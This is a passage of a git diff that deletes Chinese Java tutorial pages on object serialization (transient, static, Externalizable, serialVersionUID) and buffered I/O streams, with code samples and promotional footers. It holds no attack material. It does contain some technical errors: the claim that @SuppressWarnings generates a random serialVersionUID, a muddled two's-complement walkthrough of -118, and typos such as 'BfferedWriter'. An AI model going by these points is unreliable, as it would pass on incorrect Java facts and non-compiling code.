defaultWriteFields(Object obj, ObjectStreamClass desc) throws IOException { - // 获取对象的类,并检查是否可以进行默认的序列化 - Class cl = desc.forClass(); - desc.checkDefaultSerialize(); - - // 获取对象的基本类型字段的数量,以及这些字段的值 - int primDataSize = desc.getPrimDataSize(); - desc.getPrimFieldValues(obj, primVals); - // 将基本类型字段的值写入输出流 - bout.write(primVals, 0, primDataSize, false); - - // 获取对象的非基本类型字段的值 - ObjectStreamField[] fields = desc.getFields(false); - Object[] objVals = new Object[desc.getNumObjFields()]; - int numPrimFields = fields.length - objVals.length; - desc.getObjFieldValues(obj, objVals); - // 循环写入对象的非基本类型字段的值 - for (int i = 0; i < objVals.length; i++) { - // 调用 writeObject0 方法将对象的非基本类型字段序列化写入输出流 - try { - writeObject0(objVals[i], fields[numPrimFields + i].isUnshared()); - } - // 如果在写入过程中出现异常,则将异常包装成 IOException 抛出 - catch (IOException ex) { - if (abortIOException == null) { - abortIOException = ex; - } - } - } -} -``` - -那怎么反序列化呢? - -以 `ObjectInputStream` 为例,它在反序列化的时候会依次调用 `readObject()`→`readObject0()`→`readOrdinaryObject()`→`readSerialData()`→`defaultReadFields()`。 - -```java -private void defaultReadFields(Object obj, ObjectStreamClass desc) throws IOException { - // 获取对象的类,并检查对象是否属于该类 - Class cl = desc.forClass(); - if (cl != null && obj != null && !cl.isInstance(obj)) { - throw new ClassCastException(); - } - - // 获取对象的基本类型字段的数量和值 - int primDataSize = desc.getPrimDataSize(); - if (primVals == null || primVals.length < primDataSize) { - primVals = new byte[primDataSize]; - } - // 从输入流中读取基本类型字段的值,并存储在 primVals 数组中 - bin.readFully(primVals, 0, primDataSize, false); - if (obj != null) { - // 将 primVals 数组中的基本类型字段的值设置到对象的相应字段中 - desc.setPrimFieldValues(obj, primVals); - } - - // 获取对象的非基本类型字段的数量和值 - int objHandle = passHandle; - ObjectStreamField[] fields = desc.getFields(false); - Object[] objVals = new Object[desc.getNumObjFields()]; - int numPrimFields = fields.length - objVals.length; - // 循环读取对象的非基本类型字段的值 - for (int i = 0; i < objVals.length; i++) { - // 调用 readObject0 方法读取对象的非基本类型字段的值 - ObjectStreamField f = fields[numPrimFields + i]; - objVals[i] = readObject0(Object.class, f.isUnshared()); - // 如果该字段是一个引用字段,则将其标记为依赖该对象 - if (f.getField() != null) { - handles.markDependency(objHandle, passHandle); - } - } - if (obj != null) { - // 将 objVals 数组中的非基本类型字段的值设置到对象的相应字段中 - desc.setObjFieldValues(obj, objVals); - } - passHandle = objHandle; -} -``` - -我想看到这,你应该会恍然大悟的“哦”一声了。`Serializable` 接口之所以定义为空,是因为它只起到了一个标识的作用,告诉程序实现了它的对象是可以被序列化的,但真正序列化和反序列化的操作并不需要它来完成。 - -### 03、再来点注意事项 - -开门见山的说吧,[`static`](https://javabetter.cn/oo/static.html) 和 [`transient`](https://javabetter.cn/io/transient.html) 修饰的字段是不会被序列化的。 - -为什么呢?我们先来证明,再来解释原因。 - -首先,在 `Wanger` 类中增加两个字段。 - -```java -class Wanger implements Serializable { - private static final long serialVersionUID = -2095916884810199532L; - - private String name; - private int age; - - public static String pre = "沉默"; - transient String meizi = "王三"; - - @Override - public String toString() { - return "Wanger{" + "name=" + name + ",age=" + age + ",pre=" + pre + ",meizi=" + meizi + "}"; - } -} -``` - -其次,在测试类中打印序列化前和反序列化后的对象,并在序列化后和反序列化前改变 `static` 字段的值。具体代码如下: - -```java -// 初始化 -Wanger wanger = new Wanger(); -wanger.setName("王二"); -wanger.setAge(18); -System.out.println(wanger); - -// 把对象写到文件中 -try (ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("chenmo"));){ - oos.writeObject(wanger); - } catch (IOException e) { - e.printStackTrace(); - } - - // 改变 static 字段的值 -Wanger.pre ="不沉默"; - -// 从文件中读出对象 -try (ObjectInputStream ois = new ObjectInputStream(new FileInputStream(new File("chenmo")));){ - Wanger wanger1 = (Wanger) ois.readObject(); - System.out.println(wanger1); -} catch (IOException | ClassNotFoundException e) { - e.printStackTrace(); -} -``` - -输出结果: - -``` -Wanger{name=王二,age=18,pre=沉默,meizi=王三} -Wanger{name=王二,age=18,pre=不沉默,meizi=null} -``` - -从结果的对比当中,我们可以发现: - -1)序列化前,`pre` 的值为“沉默”,序列化后,`pre` 的值修改为“不沉默”,反序列化后,`pre` 的值为“不沉默”,而不是序列化前的状态“沉默”。 - -为什么呢?因为序列化保存的是对象的状态,而 `static` 修饰的字段属于类的状态,因此可以证明序列化并不保存 `static` 修饰的字段。 - -2)序列化前,`meizi` 的值为“王三”,反序列化后,`meizi` 的值为 `null`,而不是序列化前的状态“王三”。 - -为什么呢?`transient` 的中文字义为“临时的”(论英语的重要性),它可以阻止字段被序列化到文件中,在被反序列化后,`transient` 字段的值被设为初始值,比如 `int` 型的初始值为 0,对象型的初始值为 `null`。 - -如果想要深究源码的话,你可以在 `ObjectStreamClass` 中发现下面这样的代码: - -```java -private static ObjectStreamField[] getDefaultSerialFields(Class cl) { - // 获取该类中声明的所有字段 - Field[] clFields = cl.getDeclaredFields(); - ArrayList list = new ArrayList<>(); - int mask = Modifier.STATIC | Modifier.TRANSIENT; - - // 遍历所有字段,将非 static 和 transient 的字段添加到 list 中 - for (int i = 0; i < clFields.length; i++) { - Field field = clFields[i]; - int mods = field.getModifiers(); - if ((mods & mask) == 0) { - // 根据字段名、字段类型和字段是否可序列化创建一个 ObjectStreamField 对象 - ObjectStreamField osf = new ObjectStreamField(field.getName(), field.getType(), !Serializable.class.isAssignableFrom(cl)); - list.add(osf); - } - } - - int size = list.size(); - // 如果 list 为空,则返回一个空的 ObjectStreamField 数组,否则将 list 转换为 ObjectStreamField 数组并返回 - return (size == 0) ? NO_FIELDS : - list.toArray(new ObjectStreamField[size]); -} -``` - -看到 `Modifier.STATIC | Modifier.TRANSIENT` 了吧,这两个修饰符标记的字段就没有被放入到序列化的字段中,明白了吧? - -### 04、再来点干货 - -除了 `Serializable` 之外,Java 还提供了一个序列化接口 `Externalizable`(念起来有点拗口)。 - -两个接口有什么不一样的吗?试一试就知道了。 - -首先,把 `Wanger` 类实现的接口 `Serializable` 替换为 `Externalizable`。 - -```java -class Wanger implements Externalizable { - private String name; - private int age; - - public Wanger() { - - } - - public String getName() { - return name; - } - - - @Override - public String toString() { - return "Wanger{" + "name=" + name + ",age=" + age + "}"; - } - - @Override - public void writeExternal(ObjectOutput out) throws IOException { - - } - - @Override - public void readExternal(ObjectInput in) throws IOException, ClassNotFoundException { - - } - -} -``` - -实现 `Externalizable` 接口的 `Wanger` 类和实现 `Serializable` 接口的 `Wanger` 类有一些不同: - -1)新增了一个无参的构造方法。 - -使用 `Externalizable` 进行反序列化的时候,会调用被序列化类的无参构造方法去创建一个新的对象,然后再将被保存对象的字段值复制过去。否则的话,会抛出以下异常: - -``` -java.io.InvalidClassException: com.cmower.java_demo.xuliehua1.Wanger; no valid constructor - at java.io.ObjectStreamClass$ExceptionInfo.newInvalidClassException(ObjectStreamClass.java:150) - at java.io.ObjectStreamClass.checkDeserialize(ObjectStreamClass.java:790) - at java.io.ObjectInputStream.readOrdinaryObject(ObjectInputStream.java:1782) - at java.io.ObjectInputStream.readObject0(ObjectInputStream.java:1353) - at java.io.ObjectInputStream.readObject(ObjectInputStream.java:373) - at com.cmower.java_demo.xuliehua1.Test.main(Test.java:27) -``` - -2)新增了两个方法 `writeExternal()` 和 `readExternal()`,实现 `Externalizable` 接口所必须的。 - -然后,我们再在测试类中打印序列化前和反序列化后的对象。 - -```java -// 初始化 -Wanger wanger = new Wanger(); -wanger.setName("王二"); -wanger.setAge(18); -System.out.println(wanger); - -// 把对象写到文件中 -try (ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("chenmo"));) { - oos.writeObject(wanger); -} catch (IOException e) { - e.printStackTrace(); -} - -// 从文件中读出对象 -try (ObjectInputStream ois = new ObjectInputStream(new FileInputStream(new File("chenmo")));) { - Wanger wanger1 = (Wanger) ois.readObject(); - System.out.println(wanger1); -} catch (IOException | ClassNotFoundException e) { - e.printStackTrace(); -} -// Wanger{name=王二,age=18} -// Wanger{name=null,age=0} -``` - -从输出的结果看,反序列化后得到的对象字段都变成了默认值,也就是说,序列化之前的对象状态没有被“冻结”下来。 - -为什么呢?因为我们没有为 `Wanger` 类重写具体的 `writeExternal()` 和 `readExternal()` 方法。那该怎么重写呢? - -```java -@Override -public void writeExternal(ObjectOutput out) throws IOException { - out.writeObject(name); - out.writeInt(age); -} - -@Override -public void readExternal(ObjectInput in) throws IOException, ClassNotFoundException { - name = (String) in.readObject(); - age = in.readInt(); -} -``` - -1)调用 `ObjectOutput` 的 `writeObject()` 方法将字符串类型的 `name` 写入到输出流中; - -2)调用 `ObjectOutput` 的 `writeInt()` 方法将整型的 `age` 写入到输出流中; - -3)调用 `ObjectInput` 的 `readObject()` 方法将字符串类型的 `name` 读入到输入流中; - -4)调用 `ObjectInput` 的 `readInt()` 方法将字符串类型的 `age` 读入到输入流中; - -再运行一次测试了类,你会发现对象可以正常地序列化和反序列化了。 - ->序列化前:Wanger{name=王二,age=18} -序列化后:Wanger{name=王二,age=18} - -总结一下: - -Externalizable 和 Serializable 都是用于实现 Java 对象的序列化和反序列化的接口,但是它们有以下区别: - -①、Serializable 是 Java 标准库提供的接口,而 Externalizable 是 Serializable 的子接口; - -![](https://cdn.paicoding.com/stutymore/Serializbale-20230323161831.png) - - -②、Serializable 接口不需要实现任何方法,只需要将需要序列化的类标记为 Serializable 即可,而 Externalizable 接口需要实现 writeExternal 和 readExternal 两个方法; - -③、Externalizable 接口提供了更高的序列化控制能力,可以在序列化和反序列化过程中对对象进行自定义的处理,如对一些敏感信息进行加密和解密。 - -### 05、再来点甜点 - -让我先问问你吧,你知道 ` private static final long serialVersionUID = -2095916884810199532L;` 这段代码的作用吗? - -嗯...... - -`serialVersionUID` 被称为序列化 ID,它是决定 Java 对象能否反序列化成功的重要因子。在反序列化时,Java 虚拟机会把字节流中的 `serialVersionUID` 与被序列化类中的 `serialVersionUID` 进行比较,如果相同则可以进行反序列化,否则就会抛出序列化版本不一致的异常。 - -当一个类实现了 `Serializable` 接口后,IDE 就会提醒该类最好产生一个序列化 ID,就像下面这样: - -![](https://cdn.paicoding.com/tobebetterjavaer/images/io/Serializbale-7a9a05f6-a65c-46b0-b4d7-8b619297f351.jpg) - -1)添加一个默认版本的序列化 ID: - -```java -private static final long serialVersionUID = 1L。 -``` - -2)添加一个随机生成的不重复的序列化 ID。 - -```java -private static final long serialVersionUID = -2095916884810199532L; -``` - -3)添加 `@SuppressWarnings` 注解。 - -```java -@SuppressWarnings("serial") -``` - -怎么选择呢? - -首先,我们采用第二种办法,在被序列化类中添加一个随机生成的序列化 ID。 - -```java -class Wanger implements Serializable { - private static final long serialVersionUID = -2095916884810199532L; - - private String name; - private int age; - - // 其他代码忽略 -} -``` - -然后,序列化一个 `Wanger` 对象到文件中。 - -```java -// 初始化 -Wanger wanger = new Wanger(); -wanger.setName("王二"); -wanger.setAge(18); -System.out.println(wanger); - -// 把对象写到文件中 -try (ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("chenmo"));) { - oos.writeObject(wanger); -} catch (IOException e) { - e.printStackTrace(); -} -``` - -这时候,我们悄悄地把 `Wanger` 类的序列化 ID 偷梁换柱一下,嘿嘿。 - -```java -// private static final long serialVersionUID = -2095916884810199532L; -private static final long serialVersionUID = -2095916884810199533L; -``` - -好了,准备反序列化吧。 - -```java -try (ObjectInputStream ois = new ObjectInputStream(new FileInputStream(new File("chenmo")));) { - Wanger wanger = (Wanger) ois.readObject(); - System.out.println(wanger); -} catch (IOException | ClassNotFoundException e) { - e.printStackTrace(); -} -``` - -哎呀,出错了。 - -``` -java.io.InvalidClassException: local class incompatible: stream classdesc -serialVersionUID = -2095916884810199532, -local class serialVersionUID = -2095916884810199533 - at java.io.ObjectInputStream.readClassDesc(ObjectInputStream.java:1521) - at com.cmower.java_demo.xuliehua1.Test.main(Test.java:27) -``` - -异常堆栈信息里面告诉我们,从持久化文件里面读取到的序列化 ID 和本地的序列化 ID 不一致,无法反序列化。 - -那假如我们采用第三种方法,为 `Wanger` 类添加个 `@SuppressWarnings("serial")` 注解呢? - -```java -@SuppressWarnings("serial") -class Wanger implements Serializable { -// 省略其他代码 -} -``` - -好了,再来一次反序列化吧。可惜依然报错。 - -``` -java.io.InvalidClassException: local class incompatible: stream classdesc -serialVersionUID = -2095916884810199532, -local class serialVersionUID = -3818877437117647968 - at java.io.ObjectInputStream.readClassDesc(ObjectInputStream.java:1521) - at com.cmower.java_demo.xuliehua1.Test.main(Test.java:27) -``` - -异常堆栈信息里面告诉我们,本地的序列化 ID 为 -3818877437117647968,和持久化文件里面读取到的序列化 ID 仍然不一致,无法反序列化。这说明什么呢?使用 `@SuppressWarnings("serial")` 注解时,该注解会为被序列化类自动生成一个随机的序列化 ID。 - -由此可以证明,**Java 虚拟机是否允许反序列化,不仅取决于类路径和功能代码是否一致,还有一个非常重要的因素就是序列化 ID 是否一致**。 - -也就是说,如果没有特殊需求,采用默认的序列化 ID(1L)就可以,这样可以确保代码一致时反序列化成功。 - -```java -class Wanger implements Serializable { - private static final long serialVersionUID = 1L; -// 省略其他代码 -} -``` - -### 06、再来点总结 - -写这篇文章之前,我真没想到:“空空其身”的`Serializable` 竟然有这么多可以研究的内容! - -写完这篇文章之后,我不由得想起理科状元曹林菁说说过的一句话:“在学习中再小的问题也不放过,每个知识点都要总结”——说得真真真真的对啊! - ---------- - -GitHub 上标星 10000+ 的开源知识库《[二哥的 Java 进阶之路](https://github.com/itwanger/toBeBetterJavaer)》第一版 PDF 终于来了!包括Java基础语法、数组&字符串、OOP、集合框架、Java IO、异常处理、Java 新特性、网络编程、NIO、并发编程、JVM等等,共计 32 万余字,500+张手绘图,可以说是通俗易懂、风趣幽默……详情戳:[太赞了,GitHub 上标星 10000+ 的 Java 教程](https://javabetter.cn/overview/) - - -微信搜 **沉默王二** 或扫描下方二维码关注二哥的原创公众号沉默王二,回复 **222** 即可免费领取。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/gongzhonghao.png) \ No newline at end of file diff --git a/docs/src/io/buffer.md b/docs/src/io/buffer.md deleted file mode 100644 index 9ce0806438..0000000000 --- a/docs/src/io/buffer.md +++ /dev/null @@ -1,452 +0,0 @@ ---- -title: Java 缓冲流:Java IO 的读写效率有了质的飞升 -shortTitle: 缓冲流 -category: - - Java核心 -tag: - - Java IO -description: 本文详细介绍了字符流在 Java IO 操作中的重要作用,特别关注 Reader 和 Writer 类及其子类的功能与用途。同时,文章还提供了字符流的实际应用示例和常用方法。阅读本文,将帮助您更深入地了解字符流以及 Reader 和 Writer 在 Java 编程中的关键地位,提高文本操作效率。 -head: - - - meta - - name: keywords - content: Java,IO,缓冲流,Buffered,BufferedInputStream,BufferedOutputStream,BufferedReader,BufferedWriter,java 缓冲流,java buffer ---- - - -Java 的缓冲流是对字节流和字符流的一种封装,通过在内存中开辟缓冲区来提高 I/O 操作的效率。Java 通过 BufferedInputStream 和 BufferedOutputStream 来实现字节流的缓冲,通过 BufferedReader 和 BufferedWriter 来实现字符流的缓冲。 - -缓冲流的工作原理是将数据先写入缓冲区中,当缓冲区满时再一次性写入文件或输出流,或者当缓冲区为空时一次性从文件或输入流中读取一定量的数据。这样可以减少系统的 I/O 操作次数,提高系统的 I/O 效率,从而提高程序的运行效率。 - -### 01、字节缓冲流 - -BufferedInputStream 和 BufferedOutputStream 属于字节缓冲流,强化了字节流 InputStream 和 OutputStream,关于字节流,我们前面已经详细地讲过了,可以[戳这个链接](https://javabetter.cn/io/stream.html)去温习。 - -#### 1)构造方法 - -* `BufferedInputStream(InputStream in)` :创建一个新的缓冲输入流,注意参数类型为**InputStream**。 -* `BufferedOutputStream(OutputStream out)`: 创建一个新的缓冲输出流,注意参数类型为**OutputStream**。 - -代码示例如下: - -```java -// 创建字节缓冲输入流,先声明字节流 -FileInputStream fps = new FileInputStream(b.txt); -BufferedInputStream bis = new BufferedInputStream(fps) - -// 创建字节缓冲输入流(一步到位) -BufferedInputStream bis = new BufferedInputStream(new FileInputStream("b.txt")); - -// 创建字节缓冲输出流(一步到位) -BufferedOutputStream bos = new BufferedOutputStream(new FileOutputStream("b.txt")); -``` - -#### 2)缓冲流的高效 - -我们通过复制一个 370M+ 的大文件,来测试缓冲流的效率。为了做对比,我们先用基本流来实现一下,代码如下: - -```java -// 记录开始时间 -long start = System.currentTimeMillis(); -// 创建流对象 -try (FileInputStream fis = new FileInputStream("py.mp4");//exe文件够大 - FileOutputStream fos = new FileOutputStream("copyPy.mp4")){ - // 读写数据 - int b; - while ((b = fis.read()) != -1) { - fos.write(b); - } -} -// 记录结束时间 -long end = System.currentTimeMillis(); -System.out.println("普通流复制时间:"+(end - start)+" 毫秒"); -``` - -不好意思,我本机比较菜,10 分钟还在复制中。切换到缓冲流试一下,代码如下: - -```java -// 记录开始时间 -long start = System.currentTimeMillis(); -// 创建流对象 -try (BufferedInputStream bis = new BufferedInputStream(new FileInputStream("py.mp4")); - BufferedOutputStream bos = new BufferedOutputStream(new FileOutputStream("copyPy.mp4"));){ - // 读写数据 - int b; - while ((b = bis.read()) != -1) { - bos.write(b); - } -} -// 记录结束时间 -long end = System.currentTimeMillis(); -System.out.println("缓冲流复制时间:"+(end - start)+" 毫秒"); -``` - -只需要 8016 毫秒,如何更快呢? - -可以换数组的方式来读写,这个我们前面也有讲到,代码如下: - -```java -// 记录开始时间 -long start = System.currentTimeMillis(); -// 创建流对象 -try (BufferedInputStream bis = new BufferedInputStream(new FileInputStream("py.mp4")); - BufferedOutputStream bos = new BufferedOutputStream(new FileOutputStream("copyPy.mp4"));){ - // 读写数据 - int len; - byte[] bytes = new byte[8*1024]; - while ((len = bis.read(bytes)) != -1) { - bos.write(bytes, 0 , len); - } -} -// 记录结束时间 -long end = System.currentTimeMillis(); -System.out.println("缓冲流使用数组复制时间:"+(end - start)+" 毫秒"); -``` - -这下就更快了,只需要 521 毫秒。 - -#### 3)为什么字节缓冲流会这么快? - - -传统的 Java IO 是阻塞模式的,它的工作状态就是“读/写,等待,读/写,等待。。。。。。” - -字节缓冲流解决的就是这个问题:**一次多读点多写点,减少读写的频率,用空间换时间**。 - -- 减少系统调用次数:在使用字节缓冲流时,数据不是立即写入磁盘或输出流,而是先写入缓冲区,当缓冲区满时再一次性写入磁盘或输出流。这样可以减少系统调用的次数,从而提高 I/O 操作的效率。 -- 减少磁盘读写次数:在使用字节缓冲流时,当需要读取数据时,缓冲流会先从缓冲区中读取数据,如果缓冲区中没有足够的数据,则会一次性从磁盘或输入流中读取一定量的数据。同样地,当需要写入数据时,缓冲流会先将数据写入缓冲区,如果缓冲区满了,则会一次性将缓冲区中的数据写入磁盘或输出流。这样可以减少磁盘读写的次数,从而提高 I/O 操作的效率。 -- 提高数据传输效率:在使用字节缓冲流时,由于数据是以块的形式进行传输,因此可以减少数据传输的次数,从而提高数据传输的效率。 - -我们来看 BufferedInputStream 的 read 方法: - -```java -public synchronized int read() throws IOException { - if (pos >= count) { // 如果当前位置已经到达缓冲区末尾 - fill(); // 填充缓冲区 - if (pos >= count) // 如果填充后仍然到达缓冲区末尾,说明已经读取完毕 - return -1; // 返回 -1 表示已经读取完毕 - } - return getBufIfOpen()[pos++] & 0xff; // 返回当前位置的字节,并将位置加 1 -} -``` - -这段代码主要有两部分: - -- `fill()`:该方法会将缓冲 buf 填满。 -- `getBufIfOpen()[pos++] & 0xff`:返回当前读取位置 pos 处的字节(`getBufIfOpen()`返回的是 buffer 数组,是 byte 类型),并将其与 0xff 进行位与运算。这里的目的是将读取到的字节 b 当做无符号的字节处理,因为 Java 的 byte 类型是有符号的,而将 b 与 0xff 进行位与运算,就可以将其转换为无符号的字节,其范围为 0 到 255。 - ->byte & 0xFF 我们一会再细讲。 - -再来看 FileInputStream 的 read 方法: - -![](https://cdn.paicoding.com/stutymore/buffer-20230321154534.png) - -在这段代码中,`read0()` 方法是一个[本地方法](https://javabetter.cn/oo/native-method.html),它的实现是由底层操作系统提供的,并不是 Java 语言实现的。在不同的操作系统上,`read0()` 方法的实现可能会有所不同,但是它们的功能都是相同的,都是用于**读取一个字节**。 - -再来看一下 BufferedOutputStream 的 `write(byte b[], int off, int len)` 方法: - -```java -public synchronized void write(byte b[], int off, int len) throws IOException { - if (len >= buf.length) { // 如果写入的字节数大于等于缓冲区长度 - /* 如果请求的长度超过了输出缓冲区的大小, - 先刷新缓冲区,然后直接将数据写入。 - 这样可以避免缓冲流级联时的问题。*/ - flushBuffer(); // 先刷新缓冲区 - out.write(b, off, len); // 直接将数据写入输出流 - return; - } - if (len > buf.length - count) { // 如果写入的字节数大于空余空间 - flushBuffer(); // 先刷新缓冲区 - } - System.arraycopy(b, off, buf, count, len); // 将数据拷贝到缓冲区中 - count += len; // 更新计数器 -} -``` - -首先,该方法会检查写入的字节数是否大于等于缓冲区长度,如果是,则先将缓冲区中的数据刷新到磁盘中,然后直接将数据写入输出流。这样做是为了避免缓冲流级联时的问题,即缓冲区的大小不足以容纳写入的数据时,可能会引发级联刷新,导致效率降低。 - ->级联问题(Cascade Problem)是指在一组缓冲流(Buffered Stream)中,由于缓冲区的大小不足以容纳要写入的数据,导致数据被分割成多个部分,并分别写入到不同的缓冲区中,最终需要逐个刷新缓冲区,从而导致性能下降的问题。 - -其次,如果写入的字节数小于缓冲区长度,则检查缓冲区中剩余的空间是否足够容纳要写入的字节数,如果不够,则先将缓冲区中的数据刷新到磁盘中。然后,使用 `System.arraycopy()` 方法将要写入的数据拷贝到缓冲区中,并更新计数器 count。 - -最后,如果写入的字节数小于缓冲区长度且缓冲区中还有剩余空间,则直接将要写入的数据拷贝到缓冲区中,并更新计数器 count。 - -也就是说,只有当 buf 写满了,才会 flush,将数据刷到磁盘,默认一次刷 8192 个字节。 - -```java -public BufferedOutputStream(OutputStream out) { - this(out, 8192); -} -``` - -如果 buf 没有写满,会继续写 buf。 - -对比一下 FileOutputStream 的 write 方法,同样是本地方法,一次只能写入一个字节。 - -![](https://cdn.paicoding.com/stutymore/buffer-20230321162808.png) - -当把 BufferedOutputStream 和 BufferedInputStream 配合起来使用后,就减少了大量的读写次数,尤其是 `byte[] bytes = new byte[8*1024]`,就相当于缓冲区的空间有 8 个 1024 字节,那读写效率就会大大提高。 - -#### 4)`byte & 0xFF` - -byte 类型通常被用于存储二进制数据,例如读取和写入文件、网络传输等场景。在这些场景下,byte 类型的变量可以用来存储数据流中的每个字节,从而进行读取和写入操作。 - -byte 类型是有符号的,即其取值范围为 -128 到 127。如果我们希望得到的是一个无符号的 byte 值,就需要使用 `byte & 0xFF` 来进行转换。 - -这是因为 0xFF 是一个无符号的整数,它的二进制表示为 11111111。当一个 byte 类型的值与 0xFF 进行位与运算时,会将 byte 类型的值转换为一个无符号的整数,其范围为 0 到 255。 - -0xff 是一个十六进制的数,相当于二进制的 11111111,& 运算符的意思是:如果两个操作数的对应位为 1,则输出 1,否则为 0;由于 0xff 有 8 个 1,单个 byte 转成 int 其实就是将 byte 和 int 类型的 255 进行(&)与运算。 - -例如,如果我们有一个 byte 类型的变量 b,其值为 -1,那么 b & 0xFF 的结果就是 255。这样就可以将一个有符号的 byte 类型的值转换为一个无符号的整数。 - -& 运算是一种二进制数据的计算方式, 两个操作位都为1,结果才为1,否则结果为0. 在上面的 `getBufIfOpen()[pos++] & 0xff` 计算过程中, byte 有 8bit, OXFF 是16进制的255, 表示的是 int 类型, int 有 32bit. - -如果 `getBufIfOpen()[pos++]` 为 -118, 那么其原码表示为 - -``` -00000000 00000000 00000000 10001010 -``` - -反码为 - -``` -11111111 11111111 11111111 11110101 -``` - -补码为 - -``` -11111111 11111111 11111111 11110110 -``` - -0XFF 表示16进制的数据255, 原码, 反码, 补码都是一样的, 其二进制数据为 - -``` -00000000 00000000 00000000 11111111 -``` - -0XFF 和 -118 进行&运算后结果为 - -``` -00000000 00000000 00000000 11110110 -``` - -还原为原码后为 - -``` -00000000 00000000 00000000 10001010 -``` - -其表示的 int 值为 138,可见将 byte 类型的 -118 与 0XFF 进行与运算后值由 -118 变成了 int 类型的 138,其中低8位和byte的-118完全一致。 - -顺带聊一下 原码、反码和补码。 - -①、原码 - -原码就是符号位加上真值的绝对值,即用第一位表示符号,其余位表示值。比如如果是8位二进制: - -``` -[+1]原 = 0000 0001 - -[-1]原 = 1000 0001 -``` - -第一位是符号位。因为第一位是符号位,所以8位二进制数的取值范围就是: - -``` -[1111 1111 , 0111 1111] -``` - -即 - -``` -[-127 , 127] -``` - -②、反码 - -反码的表示方法是: - -- 正数的反码是其本身 -- 负数的反码是在其原码的基础上,符号位不变,其余各个位取反。 - - -例如: - -``` -[+1] = [00000001]原 = [00000001]反 - -[-1] = [10000001]原 = [11111110]反 -``` - -可见如果一个反码表示的是负数,人脑无法直观的看出来它的数值。通常要将其转换成原码再计算。 - -③、补码 - -补码的表示方法是: - -- 正数的补码就是其本身 -- 负数的补码是在其原码的基础上,符号位不变,其余各位取反,最后+1。(即在反码的基础上+1) - -``` -[+1] = [00000001]原 = [00000001]反 = [00000001]补 - -[-1] = [10000001]原 = [11111110]反 = [11111111]补 -``` - -对于负数,补码表示方式也是人脑无法直观看出其数值的。通常也需要转换成原码在计算其数值。 - -从上面可以看到: - -- 对于正数:原码,反码,补码都是一样的 -- 对于负数:原码,反码,补码都是不一样的 - -### 02、字符缓冲流 - -BufferedReader 类继承自 Reader 类,提供了一些便捷的方法,例如 `readLine()` 方法可以一次读取一行数据,而不是一个字符一个字符地读取。 - -BufferedWriter 类继承自 Writer 类,提供了一些便捷的方法,例如 `newLine()` 方法可以写入一个系统特定的行分隔符。 - -#### 1)构造方法 - -* `BufferedReader(Reader in)` :创建一个新的缓冲输入流,注意参数类型为**Reader**。 -* `BufferedWriter(Writer out)`: 创建一个新的缓冲输出流,注意参数类型为**Writer**。 - -代码示例如下: - -```java -// 创建字符缓冲输入流 -BufferedReader br = new BufferedReader(new FileReader("b.txt")); -// 创建字符缓冲输出流 -BufferedWriter bw = new BufferedWriter(new FileWriter("b.txt")); -``` - -#### 2)字符缓冲流特有方法 - -字符缓冲流的基本方法与[普通字符流](https://javabetter.cn/io/reader-writer.html)调用方式一致,这里不再赘述,我们来看字符缓冲流**特有**的方法。 - -* BufferedReader:`String readLine()`: **读一行数据**,读取到最后返回 null -* BufferedWriter:`newLine()`: **换行**,由系统定义换行符。 - -来看 `readLine()`方法的代码示例: - -```java -// 创建流对象 -BufferedReader br = new BufferedReader(new FileReader("a.txt")); -// 定义字符串,保存读取的一行文字 -String line = null; -// 循环读取,读取到最后返回null -while ((line = br.readLine())!=null) { - System.out.print(line); - System.out.println("------"); -} -// 释放资源 -br.close(); -``` - -再来看 `newLine()` 方法的代码示例: - -```java -// 创建流对象 -BfferedWriter bw = new BufferedWriter(new FileWriter("b.txt")); -// 写出数据 -bw.write("沉"); -// 写出换行 -bw.newLine(); -bw.write("默"); -bw.newLine(); -bw.write("王"); -bw.newLine(); -bw.write("二"); -bw.newLine(); -// 释放资源 -bw.close(); -``` - -### 03、字符缓冲流练习 - -来欣赏一下我写的这篇诗: - -> 6.岑夫子,丹丘生,将进酒,杯莫停。 -> -> 1.君不见黄河之水天上来,奔流到海不复回。 -> -> 8.钟鼓馔玉不足贵,但愿长醉不愿醒。 -> -> 3.人生得意须尽欢,莫使金樽空对月。 -> -> 5.烹羊宰牛且为乐,会须一饮三百杯。 -> -> 2.君不见高堂明镜悲白发,朝如青丝暮成雪。 -> -> 7.与君歌一曲,请君为我倾耳听。 -> -> 4.天生我材必有用,千金散尽还复来。 - -欣赏完了没? - -估计你也看出来了,这是李白写的《将进酒》,不是我王二写的。😝 - -不过,顺序是乱的,还好,我都编了号。那如何才能按照正确的顺序来呢? - -来看代码实现: - -```java -// 创建map集合,保存文本数据,键为序号,值为文字 -HashMap lineMap = new HashMap<>(); - -// 创建流对象 源 -BufferedReader br = new BufferedReader(new FileReader("logs/test.log")); -//目标 -BufferedWriter bw = new BufferedWriter(new FileWriter("logs/test1.txt")); - -// 读取数据 -String line; -while ((line = br.readLine())!=null) { - // 解析文本 - if (line.isEmpty()) { - continue; - } - String[] split = line.split(Pattern.quote(".")); - // 保存到集合 - lineMap.put(split[0], split[1]); -} -// 释放资源 -br.close(); - -// 遍历map集合 -for (int i = 1; i <= lineMap.size(); i++) { - String key = String.valueOf(i); - // 获取map中文本 - String value = lineMap.get(key); - // 写出拼接文本 - bw.write(key+"."+value); - // 写出换行 - bw.newLine(); -} -// 释放资源 -bw.close(); -``` - -这里面用到的知识都是我们前面学过的,比如说 [HashMap](https://javabetter.cn/collection/hashmap.html),[字符串分割](https://javabetter.cn/string/split.html),包括刚刚学习的字符缓冲流。 - - -来看输出结果 - -``` -1.君不见黄河之水天上来,奔流到海不复回。 -2.君不见高堂明镜悲白发,朝如青丝暮成雪。 -3.人生得意须尽欢,莫使金樽空对月。 -4.天生我材必有用,千金散尽还复来。 -5.烹羊宰牛且为乐,会须一饮三百杯。 -6.岑夫子,丹丘生,将进酒,杯莫停。 -7.与君歌一曲,请君为我倾耳听。 -8.钟鼓馔玉不足贵,但愿长醉不愿醒。 -``` - ---------- - -GitHub 上标星 10000+ 的开源知识库《[二哥的 Java 进阶之路](https://github.com/itwanger/toBeBetterJavaer)》第一版 PDF 终于来了!包括Java基础语法、数组&字符串、OOP、集合框架、Java IO、异常处理、Java 新特性、网络编程、NIO、并发编程、JVM等等,共计 32 万余字,500+张手绘图,可以说是通俗易懂、风趣幽默……详情戳:[太赞了,GitHub 上标星 10000+ 的 Java 教程](https://javabetter.cn/overview/) - - -微信搜 **沉默王二** 或扫描下方二维码关注二哥的原创公众号沉默王二,回复 **222** 